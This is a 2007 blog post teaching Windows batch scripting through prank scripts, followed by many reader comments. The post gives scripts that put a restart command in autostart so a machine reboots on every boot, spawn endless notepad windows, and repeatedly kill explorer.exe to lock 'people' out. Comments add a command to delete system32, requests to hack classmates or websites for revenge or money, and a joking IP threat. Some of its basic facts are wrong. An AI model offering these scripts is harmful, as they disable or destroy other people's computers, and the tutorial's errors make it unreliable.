BidVertiser Ads

Tuesday, September 18, 2007

CMD, the basics and a few scripts

CMD

CMD is short for commander.
It is great for a lot of things and it's also very clean.



-----------------------------------------------------------------------------------------------
Lets learn how to make the computer shut down everytime it's booted, shall we?
-----------------------------------------------------------------------------------------------



First open CMD,

Next open notepad.

If you write "start shutdown -r" in CMD and press enter, your computer will restart. Also if you write the same in "run".
(Change -r to -s to shutdown computer, or write -l to logg off.)

If you write
---------------------------------------
@echo off

cls
start shutdown -r

cls
goto :a
---------------------------------------
in notepad and save it as something.bat (bat is important) and then open it, your computer will restart in the same way.

So, lets get into autostart. Put that bat file in autostart (autostart can be found in start menu) and each time your
computer is booted it will start that file and your computer will restart.
If you write the next script your computer will try to shutdown several times at once. it will freak for about half a minute
and then turn off.


Lets get a better understanding how scripts works. The above script shuts down your computer, but a bat file normaly opens
CMD and does whatever you told it to do.


@echo off - This is where you put commands that shouldn't be shown as text. For example cls. You don't want that to be text,
it's a command.

cls - This one is pretty good, it clears the text in the CMD screen

CMD - This command gives you a new CMD session.

start - this triggers stuff, in this case it's shutdown.

color - changes the colour in the cmd window, I recommend writing "color 0a", which is a green color thats really cool
on a black window.

title - write "title something" to change title.

goto :a - This one is really, really, really, really cool. It's used for making loops and some more advanced stuff that I
wont go into. Lets say you write
--------------------------------------
@echo off
:a
cls
start shutdown -r

cls
goto :a
--------------------------------------

The goto :a tells you to go to :a higher up in the script. so it starts the script again, then it does the goto :a command
again and the script reloads. Basicaly a loop. You can change the "a" to whatever you want, for example "error". This is
only to make it easier for you to read your script.

The : infront of "a" must stay where it is.
Bad example:
goto: a

Good example:
goto :a

--------------------------------------

dir - This shows you the files in the directory you are in.

dir /s - This shows you all the files on your computer.

echo - write "echo something" and it will be as a text in cmd.

echo. This is a linebrake.

cd - Write cd followed up with a location, to go there in cmd. For example "cd c:\windows".

cd .. - This goes back one step in the directory. For example if your in c:\windows and write "cd .." you go back to c:\.

So now you know the basics, which we'll use to make you computer do stuff. In cmd you can write "help" to get a list of most
commands.

Moving away from learning commands now.



-----------------------------------------------------------------------------------------------
Lets make a spamm script.
-----------------------------------------------------------------------------------------------



-----------------------------------------------
@echo off
cls
:a
start notepad.exe
goto :a

-----------------------------------------------
this script will continue to open notepad until you close cmd. Not recommended to run this on a slow computer.
As we said before, "start" triggers things, this script triggers notepad and then the loop (goto :a) is triggered.



-----------------------------------------------------------------------------------------------
Lets just mess around.
-----------------------------------------------------------------------------------------------



-----------------------------------------------
@echo off
cls
:a
taskkill /im explorer.exe /f
goto :a
-----------------------------------------------

This will close the bar where start menu and tasks are shown, for example if you open internet you will see it at the bottom
of the screen on the explorer bar.
Closing this will leave people with little things to do.

Back To Home

72 comments:

MANU king get lost arsnal said...

hi m8 ur good reli good email me @ steerjake@hotmail.co.uk i need to learn and fast how u do it help me !

b41ter said...

hey im new here and ive done all the n00by cmd scripts and i was wondering im u could give me some more advanced scripts if so plz email me on b41ter@hotmail.com

Thx

Serena said...

Nice blog :)!

Unknown said...

Hi i just checked out this blog and saw that you know what your talking about so i just wanted to say im not that bad either and that in a bat script you dont need to type start for a shutdown just type shutdown -s -t 0 -c "comment here will be desplayed" -t: is for time type how much time you want it to go off and -c for a comment to show your victim to scare him :) so anyway i wanted to ask you if you can send me more advanced commands to this e-mail:catriel12@gmail.com

Unknown said...

hi i have got a guy in my class which keeps on hacking my laptop and doing things to it which is really bugging me can you email me somethings so i can get him back but not to bad so he wont do it any more \
birdtoysdirect@gmail.com

cuervogame said...

hey u got to tech me more hacking stuff my email is goudencio@aol.com
PLEASE

Unknown said...

hey my id is yetigarg@rocketmail.com
im new here so help me plz

Unknown said...

Hey mate.. i want to start to learn to hack to amaze my freinds and if anyone goes over the line have something to make em cry about lol.. Can u message me some more or even if u have a site for all ur own hacks gime link? thanks a tone mate..
Email - Midgeteer2703@gmail.com

Unknown said...

hi im new to all this script thing can you post me a message explaining everything basic pls welsh_1_lad@live.co.uk

Leon said...
This comment has been removed by the author.
Leon said...

hi i was wondering if u can email me(beckhamlee123@hotmail.com)n teach me tat.i really appreciate ur help...tq

Unknown said...
This comment has been removed by the author.
shy deathtoe said...

i am new useing command prompt i am 15 and i have found something i am good at and keeps me outa trouble, hacking. if yuo could help me by emailing me at ---- videogamereak0050@yahoo.com i would aprreciate it greatly

Unknown said...

please email me djavaresk@gmail.com i need help with this i sort of a begginer but i know a little

Blessing Thinker said...

wow, please email me more of that, blessingthinker@ymail.com

Unknown said...

can you email me some more advanced stuff a kid in my class is hacking my computer and was wondering if u knew how i could get him back.... jack.p.sarle@gmail.com

Unknown said...

i was wondering if you could send me some advanced stuff because a kid in my class keeps hacking my computer and was wondering if u could help. @ jack.p.sarle@gmail.com

Ninota said...

hey, nice blog, im over the basic commands of cmd and ready to move on to more harder and advance stuff so could you plz send me some advance cmd hacks or code to chadhume@hotmail.com thanks :)

mycro shadow said...

hey send some higher scripts to kar469@hotmail.com please

Elite Gamer said...

Hey you need to make more posts.
Email me at: marshallcody44@yahoo.com

Unknown said...

man your good. if you make new scripts send them to me at Niilo789@hotmail.com

Unknown said...

Man nice scripts
if you make new one send them to me at Niilo789@hotmail.com

Unknown said...

hey man that stuff was really good i'd like to learn to like hack peoples computer's and trip people out could you help me Jaime_amador93@yahoo.com

Unknown said...

hey man that stuff was really good i'd like to learn to like hack peoples computer's and trip people out could you help me Jaime_amador93@yahoo.com

Unknown said...

Hey.. Hella Cool Shit Bro. I Need A Lil Help Tho, I Fuckin' Forgot My Administrator Password For My Emachines, The Only Other Account I Got Is This Guest One.. Cant Download Or Do Shit.. Any Help? Can I Reset It From The cmd prompt If I Dont Have Admin Privileges??

Unknown said...

Rutvik....hey im new here and ive done all the n00by cmd scripts and i was wondering im u could give me some more advanced scripts if so plz email me on rutvikrathod07@gmail.com

Cooldude1.4 said...

could u send me more advanced scripts at cashboss95@hotmail.com

Anonymous said...

hi guys i really need to learn how to administrator privleges, so can u guys teach me that? i would really appreciate it.

Unknown said...

Just so you guys know. This has nothing to do with hacking, and it isn't hacking. There is one thing suitable for hacking though, and that's the shutdown feature that can shut down other peoples computers from your own. This is opened via Run or CMD if you know the right path.
CMD is only used for hacking when you want to search for ip's or hack in local files. Instead of doing these restart scripts, just delete system32 "'cd C:\Windows', then type 'del system32/*.*' followed by a 'del system32'"

Unknown said...

Just so you guys know. This has nothing to do with hacking, and it isn't hacking. There is one thing suitable for hacking though, and that's the shutdown feature that can shut down other peoples computers from your own. This is opened via Run or CMD if you know the right path.
CMD is only used for hacking when you want to search for ip's or hack in local files. Instead of doing these restart scripts, just delete system32 "'cd C:\Windows', then type 'del system32/*.*' followed by a 'del system32'"

Unknown said...

well you fucking ip is 72.14.204.191 am fucking watching you! jking

Unknown said...

you fucking ip is 72.14.204.191
am FUCKING watching you jking

Nicolas said...

hey this is really cool could u send me more of this stuff to:
anonymous.anonymous.666666@gmail.com

Unknown said...

if any of you people get emailed something cool or if you know any really cool tricks email me at samueldillman@yahoo.com

mr. unknown said...

this is cool, but i cant get the goto :a to work for the spamm script so maybe could someone comment or explain pls?

Ayoola Abiola said...

please can u send me the basics of how to hack because i just want to get started.

Ayoola Abiola said...

please can u send me d basics of how to hack because i dont know anything about hacking and i am ready to learn please email me @ ayoolalekan64@gmail.com

WhoCares said...

Try

@echo off
:a
Cls
Start

Cls
Goto :a




It will reaaaaaaallly jamm your pc ^^

Derick said...

Please can you teach me how to hack website.?? I will pay you well. if it works. email at nyarko_derick@live.com or @yahoo.com

Derick said...

Please can you teach me how to hack website.?? I will pay you well. if it works. email at nyarko_derick@live.com or @yahoo.com

mr. unknown said...

the spam script is amazing, could someone pls put on some new scripts or something? does anyone know how to do this to someone elses comp if u know there ip address?

mr. unknown said...
This comment has been removed by the author.
Unknown said...

hey ma men i need new script.email me at baahboahen@gmail.com.

reaskha said...

i also want I am also very keen to have some friends like you, I hope you are willing to be my friend, and if possible I want to teach how to ask penetrating websites were blocked, because I always on9 at my school. . this is my email (reaskha@yahoo.com), (reaskha@gmail.com), please help me

noIdea said...

Can u send me more also?? Lamziwen@gmail.com

noIdea said...

Can u send me more also?? Lamziwen@gmail.com

tnt1997 said...

Hey, I am pretty good with computers, but am looking for a challenge. Could you teach me how to hack other computers? please email me at thomas.thrush@gmail.com

lopopker said...

hello can you pleas give me also some advanced scripts i really want to learn.
pleas sent in to: de.rooij@hotmail.com

Austin said...

Hey, I am a noob hacker. I am trying to impress my friends and keep people from hacking my computer and i was wondering if you could teach me some offensive/defensive hacks

email me: azhighrise@gmail.com

Austin said...

Hey, I am a noob hacker. I am trying to impress my friends and keep people from hacking my computer and i was wondering if you could teach me some offensive/defensive hacks

email me: azhighrise@gmail.com

Austin said...

Hey, I am a noob hacker. I am trying to impress my friends and keep people from hacking my computer and i was wondering if you could teach me some offensive/defensive hacks

email me: azhighrise@gmail.com

Wolffie J said...

please send me some more advanced stuff

jwolffs16@gmail.com

thnx
ur awesome

Wolffie J said...

please send me some more advanced stuff

jwolffs16@gmail.com

thnx
ur awesome

Wolffie J said...

please send me some more advanced stuff

jwolffs16@gmail.com

thnx
ur awesome

Jackeh said...

I just read this. This isn't hacking. All you are doing is making batch scripts, which are designed to do what you write, they are purposefully built into the system.

It's also wrong at the start. CMD does not stand for commander. It is the name of the executable file, "CMD.exe". Which in full, is "Command Prompt". It is an updated version of MS-DOS.

In the first script you wrote, you said "goto :a". There isn't even an ":a" section in the script, so it would be going to a non-existant point.

Your description for the "@echo off" command is also wrong. If you wanted the output for it to be text, you would write "echo CLS". Then it would write "CLS" to the console. If you did "CLS" on it's own, then it would just clear the screen.

Terminater said...

how do u reverse the icon/explorer bar hack ?

reach4jak said...

just crtl alt delete start task manager start new process type explorer.exe and fixed

Super Genious said...

pliz goto: super-genious.blogspot.com and sgenious.blogspot.com

x1expert1x said...

hahahahha you all think you are pro hackers because you copied the scripts off youtube and pretend to be smart! CMD can barely do shit, if you want to really do something, learn about comView and NetBus...

x1expert1x said...

hahahahha you all think you are pro hackers because you copied the scripts off youtube and pretend to be smart! CMD can barely do shit, if you want to really do something, learn about comView and NetBus...

x1expert1x said...

hahahahha you all think you are pro hackers because you copied the scripts off youtube and pretend to be smart! CMD can barely do shit, if you want to really do something, learn about comView and NetBus...

Hackerz De Kosolo said...

Those who have shared THEIR EMAIL ADDRESSES here will be HACKED SOON!!!!!!!!

Hackerz De Kosolo said...

Those who have shared THEIR EMAIL ADDRESSES here will be HACKED SOON!!!!!!!!

Unknown said...
This comment has been removed by the author.
Unknown said...

Hi can u teach me how to get into someone's pc by ip ??

Brijesh_chintu said...

Hi.. my brijesh... pls teach me some hacking tricks...my ID brijeshchintu878@gmail.com

Hacker Girl said...
This comment has been removed by the author.
Hacker Girl said...

I was browsing through a bunch of the comments and foun quite a few people bagging on the guy who wrote this post.
Look, we come here for some useful information and if you don't find it useful, good for you. Move on to the next blog. You don't have to stick around just to post a comment about how much more advanced you are at hacking than we all are or how CMD is barely effective. Some of us actually learn from these blogs, and that is why we come here.
Why do you even come to this blog if all you want to do is insult everyone? This guy just wants to convey some information to all of us who are interested in computer tricks, why do you have such a big problem with that?
Frankly, if all some of you have to do is browse the internet for blogs that you can insult, that is just sad.
Stop commenting on blogs that you don't have any business with.
I don't mean to direct this comment towards people who aren't doing any harm, like people asking questions. I think the people I'm directing this towards know who they are.

Unknown said...

that was cool bro. can you mail me more .

mail: dark_slaya@live.com

Bas de Cock said...

nice script, you can also use

@echo off
:whatever
start C:\program files\internet explorer\iexplore.exe
goto whatever

this will open Internet Explorer until the pc shuts down...

for more hacking scripts check out my blog www.best-hacks-for-you.blogspot.nl (still in development, so check every now and then). I try addig new scripts every one/two weeks

Unknown said...

Amazing, thank you so much!

Unknown said...

i know them already... Cant you give me some more of only hacking.....huh